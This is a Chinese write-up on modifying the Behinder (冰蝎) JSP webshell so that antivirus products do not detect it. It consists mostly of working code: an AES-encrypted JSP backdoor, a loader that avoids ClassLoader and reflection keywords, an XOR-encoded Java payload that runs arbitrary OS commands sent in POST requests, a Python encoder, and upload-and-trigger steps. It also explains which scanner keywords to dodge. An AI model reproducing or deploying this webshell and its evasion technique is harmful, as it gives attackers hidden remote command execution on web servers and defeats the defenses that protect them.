测试环境
- windows server 2008
- 杀软:360、火绒、某藤
- jsp运行环境:java11、tomcat 10
- payload编译环境:java8
过程记录
首先将冰蝎默认的木马经过一定的完善,360扫描没有提示jsp后门,火绒扫描提示存在后门。备注:这里笔者强烈怀疑360杀毒检测到在虚拟机中运行就不正常干活了,故意迷惑病毒后门测试人员。

当前jsp shell代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! class U extends ClassLoader{U(ClassLoader c){super(c);} public Class g(byte []b){return super.defineClass(b,0,b.length);}} public byte[] x(String str) throws Exception { Class base64; byte[] value = null; try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str }); } catch (Exception e) { try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str }); } catch (Exception ee) {} } return value; } %> <%if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(x(request.getReader().readLine()))).newInstance().equals(pageContext); }%>
|
修改加载方式,采用分离免杀方式,同时需要删除一些静态的关键字,才能绕过火绒检测。
最终修改完成的bypass_jsp.jsp可以绕过某藤的检测,具体绕过原理是根据检测原理来的,某藤会扫描jsp中存在的代码关键字,不能出现任何包含ClassLoader的方法、类名、字段类型,不能出现反射函数invoke的调用,同时绕过以上这些关键字即可绕过检测。


加载器代码bypass_jsp.jsp:
| <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.file.*,javax.management.loading.*"%> <%! class U extends MLet { public Class g(byte []b){return super.defineClass(b,0,b.length);}} public byte[] x(String s) throws Exception { Path path = Paths.get(s, "233.txt"); byte[] data = Files.readAllBytes(path); for (int i=0; i < data.length; i++) { data[i] ^= 0x33; } return data; } %> <% new U().g(x(new java.io.File(application.getRealPath(request.getServletPath())).getParent())).newInstance().equals(pageContext); %>
|
payload代码C233.java,修改于冰蝎的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; import java.nio.charset.Charset; import java.util.Map;
public class C233 { private Object Request; private Object Response; private Object Session;
public boolean equals(Object obj) { try { this.fillContext(obj); Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); BufferedReader reader = (BufferedReader) this.Request.getClass().getMethod("getReader").invoke(this.Request); write.invoke(so, this.RunCMD(reader.readLine()).getBytes("UTF-8")); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so);
} catch (Exception e) {
} return true; }
private String RunCMD(String cmd) throws Exception { Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); }
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
String disr; for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; }
br = new BufferedReader(new InputStreamReader(p.getErrorStream(), "GB2312"));
for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; }
result = new String(result.getBytes(osCharset)); }
return result; }
private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); }
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } }
|
编码器代码encode.py:
| import sys
with open(sys.argv[1], 'rb') as f: data = f.read() data = [i ^ 0x33 for i in data] with open(sys.argv[2], 'wb') as f2: f2.write(bytes(data))
|
使用方法:
| python encode.py C233.class 233.txt
|
上传233.txt和bypass_jsp.jsp到同一个目录下,POST访问即可。